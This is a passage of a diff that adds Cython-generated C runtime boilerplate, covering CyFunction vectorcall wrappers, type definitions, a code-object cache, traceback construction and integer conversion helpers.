(__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 1)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, args[0]); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCFunctionFastWithKeywords)(void(*)(void))def->ml_meth)(self, args, nargs, kwnames); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; + PyTypeObject *cls = (PyTypeObject *) __Pyx_CyFunction_GetClassObj(cyfunc); +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCMethod)(void(*)(void))def->ml_meth)(self, cls, args, (size_t)nargs, kwnames); +} +#endif +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CyFunctionType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CyFunction_dealloc}, + {Py_tp_repr, (void *)__Pyx_CyFunction_repr}, + {Py_tp_call, (void *)__Pyx_CyFunction_CallAsMethod}, + {Py_tp_traverse, (void *)__Pyx_CyFunction_traverse}, + {Py_tp_clear, (void *)__Pyx_CyFunction_clear}, + {Py_tp_methods, (void *)__pyx_CyFunction_methods}, + {Py_tp_members, (void *)__pyx_CyFunction_members}, + {Py_tp_getset, (void *)__pyx_CyFunction_getsets}, + {Py_tp_descr_get, (void *)__Pyx_PyMethod_New}, + {0, 0}, +}; +static PyType_Spec __pyx_CyFunctionType_spec = { + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if (defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL) + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + __pyx_CyFunctionType_slots +}; +#else +static PyTypeObject __pyx_CyFunctionType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, + (destructor) __Pyx_CyFunction_dealloc, +#if !CYTHON_METH_FASTCALL + 0, +#elif CYTHON_BACKPORT_VECTORCALL + (printfunc)offsetof(__pyx_CyFunctionObject, func_vectorcall), +#else + offsetof(PyCFunctionObject, vectorcall), +#endif + 0, + 0, +#if PY_MAJOR_VERSION < 3 + 0, +#else + 0, +#endif + (reprfunc) __Pyx_CyFunction_repr, + 0, + 0, + 0, + 0, + __Pyx_CyFunction_CallAsMethod, + 0, + 0, + 0, + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + 0, + (traverseproc) __Pyx_CyFunction_traverse, + (inquiry) __Pyx_CyFunction_clear, + 0, +#if PY_VERSION_HEX < 0x030500A0 + offsetof(__pyx_CyFunctionObject, func_weakreflist), +#else + offsetof(PyCFunctionObject, m_weakreflist), +#endif + 0, + 0, + __pyx_CyFunction_methods, + __pyx_CyFunction_members, + __pyx_CyFunction_getsets, + 0, + 0, + __Pyx_PyMethod_New, + 0, + offsetof(__pyx_CyFunctionObject, func_dict), + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_CyFunction_init(PyObject *module) { +#if CYTHON_USE_TYPE_SPECS + __pyx_CyFunctionType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CyFunctionType_spec, NULL); +#else + CYTHON_UNUSED_VAR(module); + __pyx_CyFunctionType = __Pyx_FetchCommonType(&__pyx_CyFunctionType_type); +#endif + if (unlikely(__pyx_CyFunctionType == NULL)) { + return -1; + } + return 0; +} +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *func, size_t size, int pyobjects) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults = PyObject_Malloc(size); + if (unlikely(!m->defaults)) + return PyErr_NoMemory(); + memset(m->defaults, 0, size); + m->defaults_pyobjects = pyobjects; + m->defaults_size = size; + return m->defaults; +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *func, PyObject *tuple) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_tuple = tuple; + Py_INCREF(tuple); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_kwdict = dict; + Py_INCREF(dict); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->func_annotations = dict; + Py_INCREF(dict); +} + +/* CythonFunction */ + static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { + PyObject *op = __Pyx_CyFunction_Init( + PyObject_GC_New(__pyx_CyFunctionObject, __pyx_CyFunctionType), + ml, flags, qualname, closure, module, globals, code + ); + if (likely(op)) { + PyObject_GC_Track(op); + } + return op; +} + +/* CLineInTraceback */ + #ifndef CYTHON_CLINE_IN_TRACEBACK +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line) { + PyObject *use_cline; + PyObject *ptype, *pvalue, *ptraceback; +#if CYTHON_COMPILING_IN_CPYTHON + PyObject **cython_runtime_dict; +#endif + CYTHON_MAYBE_UNUSED_VAR(tstate); + if (unlikely(!__pyx_cython_runtime)) { + return c_line; + } + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); +#if CYTHON_COMPILING_IN_CPYTHON + cython_runtime_dict = _PyObject_GetDictPtr(__pyx_cython_runtime); + if (likely(cython_runtime_dict)) { + __PYX_PY_DICT_LOOKUP_IF_MODIFIED( + use_cline, *cython_runtime_dict, + __Pyx_PyDict_GetItemStr(*cython_runtime_dict, __pyx_n_s_cline_in_traceback)) + } else +#endif + { + PyObject *use_cline_obj = __Pyx_PyObject_GetAttrStrNoError(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback); + if (use_cline_obj) { + use_cline = PyObject_Not(use_cline_obj) ? Py_False : Py_True; + Py_DECREF(use_cline_obj); + } else { + PyErr_Clear(); + use_cline = NULL; + } + } + if (!use_cline) { + c_line = 0; + (void) PyObject_SetAttr(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback, Py_False); + } + else if (use_cline == Py_False || (use_cline != Py_True && PyObject_Not(use_cline) != 0)) { + c_line = 0; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + return c_line; +} +#endif + +/* CodeObjectCache */ + #if !CYTHON_COMPILING_IN_LIMITED_API +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line) { + int start = 0, mid = 0, end = count - 1; + if (end >= 0 && code_line > entries[end].code_line) { + return count; + } + while (start < end) { + mid = start + (end - start) / 2; + if (code_line < entries[mid].code_line) { + end = mid; + } else if (code_line > entries[mid].code_line) { + start = mid + 1; + } else { + return mid; + } + } + if (code_line <= entries[mid].code_line) { + return mid; + } else { + return mid + 1; + } +} +static PyCodeObject *__pyx_find_code_object(int code_line) { + PyCodeObject* code_object; + int pos; + if (unlikely(!code_line) || unlikely(!__pyx_code_cache.entries)) { + return NULL; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if (unlikely(pos >= __pyx_code_cache.count) || unlikely(__pyx_code_cache.entries[pos].code_line != code_line)) { + return NULL; + } + code_object = __pyx_code_cache.entries[pos].code_object; + Py_INCREF(code_object); + return code_object; +} +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object) { + int pos, i; + __Pyx_CodeObjectCacheEntry* entries = __pyx_code_cache.entries; + if (unlikely(!code_line)) { + return; + } + if (unlikely(!entries)) { + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Malloc(64*sizeof(__Pyx_CodeObjectCacheEntry)); + if (likely(entries)) { + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = 64; + __pyx_code_cache.count = 1; + entries[0].code_line = code_line; + entries[0].code_object = code_object; + Py_INCREF(code_object); + } + return; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if ((pos < __pyx_code_cache.count) && unlikely(__pyx_code_cache.entries[pos].code_line == code_line)) { + PyCodeObject* tmp = entries[pos].code_object; + entries[pos].code_object = code_object; + Py_DECREF(tmp); + return; + } + if (__pyx_code_cache.count == __pyx_code_cache.max_count) { + int new_max = __pyx_code_cache.max_count + 64; + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Realloc( + __pyx_code_cache.entries, ((size_t)new_max) * sizeof(__Pyx_CodeObjectCacheEntry)); + if (unlikely(!entries)) { + return; + } + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = new_max; + } + for (i=__pyx_code_cache.count; i>pos; i--) { + entries[i] = entries[i-1]; + } + entries[pos].code_line = code_line; + entries[pos].code_object = code_object; + __pyx_code_cache.count++; + Py_INCREF(code_object); +} +#endif + +/* AddTraceback */ + #include "compile.h" +#include "frameobject.h" +#include "traceback.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyCode_Replace_For_AddTraceback(PyObject *code, PyObject *scratch_dict, + PyObject *firstlineno, PyObject *name) { + PyObject *replace = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_firstlineno", firstlineno))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_name", name))) return NULL; + replace = PyObject_GetAttrString(code, "replace"); + if (likely(replace)) { + PyObject *result; + result = PyObject_Call(replace, __pyx_empty_tuple, scratch_dict); + Py_DECREF(replace); + return result; + } + PyErr_Clear(); + #if __PYX_LIMITED_VERSION_HEX < 0x030780000 + { + PyObject *compiled = NULL, *result = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "code", code))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "type", (PyObject*)(&PyType_Type)))) return NULL; + compiled = Py_CompileString( + "out = type(code)(\n" + " code.co_argcount, code.co_kwonlyargcount, code.co_nlocals, code.co_stacksize,\n" + " code.co_flags, code.co_code, code.co_consts, code.co_names,\n" + " code.co_varnames, code.co_filename, co_name, co_firstlineno,\n" + " code.co_lnotab)\n", "", Py_file_input); + if (!compiled) return NULL; + result = PyEval_EvalCode(compiled, scratch_dict, scratch_dict); + Py_DECREF(compiled); + if (!result) PyErr_Print(); + Py_DECREF(result); + result = PyDict_GetItemString(scratch_dict, "out"); + if (result) Py_INCREF(result); + return result; + } + #else + return NULL; + #endif +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyObject *code_object = NULL, *py_py_line = NULL, *py_funcname = NULL, *dict = NULL; + PyObject *replace = NULL, *getframe = NULL, *frame = NULL; + PyObject *exc_type, *exc_value, *exc_traceback; + int success = 0; + if (c_line) { + (void) __pyx_cfilenm; + (void) __Pyx_CLineForTraceback(__Pyx_PyThreadState_Current, c_line); + } + PyErr_Fetch(&exc_type, &exc_value, &exc_traceback); + code_object = Py_CompileString("_getframe()", filename, Py_eval_input); + if (unlikely(!code_object)) goto bad; + py_py_line = PyLong_FromLong(py_line); + if (unlikely(!py_py_line)) goto bad; + py_funcname = PyUnicode_FromString(funcname); + if (unlikely(!py_funcname)) goto bad; + dict = PyDict_New(); + if (unlikely(!dict)) goto bad; + { + PyObject *old_code_object = code_object; + code_object = __Pyx_PyCode_Replace_For_AddTraceback(code_object, dict, py_py_line, py_funcname); + Py_DECREF(old_code_object); + } + if (unlikely(!code_object)) goto bad; + getframe = PySys_GetObject("_getframe"); + if (unlikely(!getframe)) goto bad; + if (unlikely(PyDict_SetItemString(dict, "_getframe", getframe))) goto bad; + frame = PyEval_EvalCode(code_object, dict, dict); + if (unlikely(!frame) || frame == Py_None) goto bad; + success = 1; + bad: + PyErr_Restore(exc_type, exc_value, exc_traceback); + Py_XDECREF(code_object); + Py_XDECREF(py_py_line); + Py_XDECREF(py_funcname); + Py_XDECREF(dict); + Py_XDECREF(replace); + if (success) { + PyTraceBack_Here( + (struct _frame*)frame); + } + Py_XDECREF(frame); +} +#else +static PyCodeObject* __Pyx_CreateCodeObjectForTraceback( + const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = NULL; + PyObject *py_funcname = NULL; + #if PY_MAJOR_VERSION < 3 + PyObject *py_srcfile = NULL; + py_srcfile = PyString_FromString(filename); + if (!py_srcfile) goto bad; + #endif + if (c_line) { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + #else + py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + funcname = PyUnicode_AsUTF8(py_funcname); + if (!funcname) goto bad; + #endif + } + else { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromString(funcname); + if (!py_funcname) goto bad; + #endif + } + #if PY_MAJOR_VERSION < 3 + py_code = __Pyx_PyCode_New( + 0, + 0, + 0, + 0, + 0, + 0, + __pyx_empty_bytes, /*PyObject *code,*/ + __pyx_empty_tuple, /*PyObject *consts,*/ + __pyx_empty_tuple, /*PyObject *names,*/ + __pyx_empty_tuple, /*PyObject *varnames,*/ + __pyx_empty_tuple, /*PyObject *freevars,*/ + __pyx_empty_tuple, /*PyObject *cellvars,*/ + py_srcfile, /*PyObject *filename,*/ + py_funcname, /*PyObject *name,*/ + py_line, + __pyx_empty_bytes /*PyObject *lnotab*/ + ); + Py_DECREF(py_srcfile); + #else + py_code = PyCode_NewEmpty(filename, funcname, py_line); + #endif + Py_XDECREF(py_funcname); + return py_code; +bad: + Py_XDECREF(py_funcname); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_srcfile); + #endif + return NULL; +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = 0; + PyFrameObject *py_frame = 0; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject *ptype, *pvalue, *ptraceback; + if (c_line) { + c_line = __Pyx_CLineForTraceback(tstate, c_line); + } + py_code = __pyx_find_code_object(c_line ? -c_line : py_line); + if (!py_code) { + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); + py_code = __Pyx_CreateCodeObjectForTraceback( + funcname, c_line, py_line, filename); + if (!py_code) { + /* If the code object creation fails, then we should clear the + fetched exception references and propagate the new exception */ + Py_XDECREF(ptype); + Py_XDECREF(pvalue); + Py_XDECREF(ptraceback); + goto bad; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + __pyx_insert_code_object(c_line ? -c_line : py_line, py_code); + } + py_frame = PyFrame_New( + tstate, /*PyThreadState *tstate,*/ + py_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (!py_frame) goto bad; + __Pyx_PyFrame_SetLineNumber(py_frame, py_line); + PyTraceBack_Here(py_frame); +bad: + Py_XDECREF(py_code); + Py_XDECREF(py_frame); +} +#endif + +/* CIntToPy */ + static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; + if (is_unsigned) { + if (sizeof(long) < sizeof(long)) { + return PyInt_FromLong((long) value); + } else if (sizeof(long) <= sizeof(unsigned long)) { + return PyLong_FromUnsignedLong((unsigned long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { + return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); +#endif + } + } else { + if (sizeof(long) <= sizeof(long)) { + return PyInt_FromLong((long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { + return PyLong_FromLongLong((PY_LONG_LONG) value); +#endif + } + } + { + unsigned char *bytes = (unsigned char *)&value; +#if !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX >= 0x030d00A4 + if (is_unsigned) { + return PyLong_FromUnsignedNativeBytes(bytes, sizeof(value), -1); + } else { + return PyLong_FromNativeBytes(bytes, sizeof(value), -1); + } +#elif !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX < 0x030d0000 + int one = 1; int little = (int)*(unsigned char *)&one; + return _PyLong_FromByteArray(bytes, sizeof(long), + little, !is_unsigned); +#else + int one = 1; int little = (int)*(unsigned char *)&one; + PyObject *from_bytes, *result = NULL; + PyObject *py_bytes = NULL, *arg_tuple = NULL, *kwds = NULL, *order_str = NULL; + from_bytes = PyObject_GetAttrString((PyObject*)&PyLong_Type, "from_bytes"); + if (!from_bytes) return NULL; + py_bytes = PyBytes_FromStringAndSize((char*)bytes, sizeof(long)); + if (!py_bytes) goto limited_bad; + order_str = PyUnicode_FromString(little ? "little" : "big"); + if (!order_str) goto limited_bad; + arg_tuple = PyTuple_Pack(2, py_bytes, order_str); + if (!arg_tuple) goto limited_bad; + if (!is_unsigned) { + kwds = PyDict_New(); + if (!kwds) goto limited_bad; + if (PyDict_SetItemString(kwds, "signed", __Pyx_NewRef(Py_True))) goto limited_bad; + } + result = PyObject_Call(from_bytes, arg_tuple, kwds); + limited_bad: + Py_XDECREF(kwds); + Py_XDECREF(arg_tuple); + Py_XDECREF(order_str); + Py_XDECREF(py_bytes); + Py_XDECREF(from_bytes); + return result; +#endif + } +} + +/* FormatTypeName */ + #if CYTHON_COMPILING_IN_LIMITED_API +static __Pyx_TypeName +__Pyx_PyType_GetName(PyTypeObject* tp) +{ + PyObject *name = __Pyx_PyObject_GetAttrStr((PyObject *)tp, + __pyx_n_s_name); + if (unlikely(name == NULL) || unlikely(!PyUnicode_Check(name))) { + PyErr_Clear(); + Py_XDECREF(name); + name = __Pyx_NewRef(__pyx_n_s__58); + } + return name; +} +#endif + +/* CIntFromPyVerify */ + #define __PYX_VERIFY_RETURN_INT(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 0) +#define __PYX_VERIFY_RETURN_INT_EXC(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 1) +#define __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, exc)\ + {\ + func_type value = func_value;\ + if (sizeof(target_type) < sizeof(func_type)) {\ + if (unlikely(value != (func_type) (target_type) value)) {\ + func_type zero = 0;\ + if (exc && unlikely(value == (func_type)-1 && PyErr_Occurred()))\ + return (target_type) -1;\ + if (is_unsigned && unlikely(value < zero))\ + goto raise_neg_overflow;\ + else\ + goto raise_overflow;\ + }\ + }\ + return (target_type) value;\ + } + +/* CIntFromPy */ + static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(long) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(long, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (long) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + long val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (long) -1; + val = __Pyx_PyInt_As_long(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 2 * PyLong_SHIFT)) { + return (long) (((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 3 * PyLong_SHIFT)) { + return (long) (((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 4 * PyLong_SHIFT)) { + return (long) (((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (long) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(long) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(long) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) ((((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) ((((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) ((((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(long) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(PY_LONG_LONG))) { + 